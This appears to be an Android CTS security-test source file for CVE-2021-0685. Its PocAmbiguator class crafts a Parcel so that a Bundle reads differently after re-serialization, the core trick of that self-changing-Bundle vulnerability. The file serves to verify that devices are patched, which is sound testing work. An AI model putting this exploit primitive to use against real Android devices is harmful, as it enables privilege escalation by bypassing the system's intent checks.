blob: 75b04ca49f455ffe90365fbd5745cf4a216500a8 [file] [log] [blame]
/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.security.cts.cve_2021_0685;
import android.content.IntentFilter;
import android.os.Bundle;
import android.os.Parcel;
import android.text.TextUtils;
import java.util.Random;
public class PocAmbiguator {
private static final int BUNDLE_MAGIC = 0x4C444E42;
private static final int BUNDLE_SKIP = 12;
private static final int VAL_NULL = -1;
private static final int VAL_BUNDLE = 3;
private static final int VAL_PARCELABLE = 4;
private static final int VAL_OBJECTARRAY = 17;
private static final int VAL_INTARRAY = 18;
private static final int SIZE_RANDOM_STR = 6;
private static final int TIMER_MILLIS = 30 * 1000;
public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
Random random = new Random(1234);
int minHash = 0;
for (String s : preReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
for (String s : postReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
String key;
int keyHash;
long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
do {
key = randomString(random);
keyHash = key.hashCode();
} while (keyHash >= minHash && System.currentTimeMillis() < allowedTime);
if (keyHash >= minHash) {
return null;
}
if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) {
return null;
}
if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) {
return null;
}
Parcel parcel = Parcel.obtain();
int sizePosition = parcel.dataPosition();
parcel.writeInt(0);
parcel.writeInt(BUNDLE_MAGIC);
int startPosition = parcel.dataPosition();
parcel.writeInt(preReSerialize.size() + 1);
parcel.writeString(key);
parcel.writeInt(VAL_OBJECTARRAY);
parcel.writeInt(3);
parcel.writeInt(VAL_PARCELABLE);
parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo");
new IntentFilter().writeToParcel(parcel, 0);
parcel.writeInt(0);
parcel.writeInt(0);
TextUtils.writeToParcel(null, parcel, 0);
parcel.writeInt(0);
parcel.writeInt(VAL_INTARRAY);
parcel.writeInt(6);
parcel.writeInt(1);
parcel.writeInt(-1);
parcel.writeInt(0);
parcel.writeInt(VAL_NULL);
parcel.writeInt(VAL_INTARRAY);
parcel.writeInt(4);
parcel.writeInt(VAL_BUNDLE);
parcel.writeBundle(postReSerialize);
writeBundleSkippingHeaders(parcel, preReSerialize);
int bundleDataSize = parcel.dataPosition() - startPosition;
parcel.setDataPosition(sizePosition);
parcel.writeInt(bundleDataSize);
parcel.setDataPosition(0);
Bundle bundle = parcel.readBundle();
parcel.recycle();
return bundle;
}
private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
Parcel skipParcel = Parcel.obtain();
bundle.writeToParcel(skipParcel, 0);
parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP);
skipParcel.recycle();
}
private static String randomString(Random random) {
StringBuilder b = new StringBuilder();
for (int i = 0; i < SIZE_RANDOM_STR; ++i) {
b.append((char) (' ' + random.nextInt('~' - ' ' + 1)));
}
return b.toString();
}
private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) {
while (bundle.size() < size) {
String key;
long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
do {
key = randomString(random);
} while ((key.hashCode() < minHash || bundle.containsKey(key))
&& System.currentTimeMillis() < allowedTime);
bundle.putString(key, "PADDING");
if (key.hashCode() < minHash) {
return false;
}
}
return true;
}
}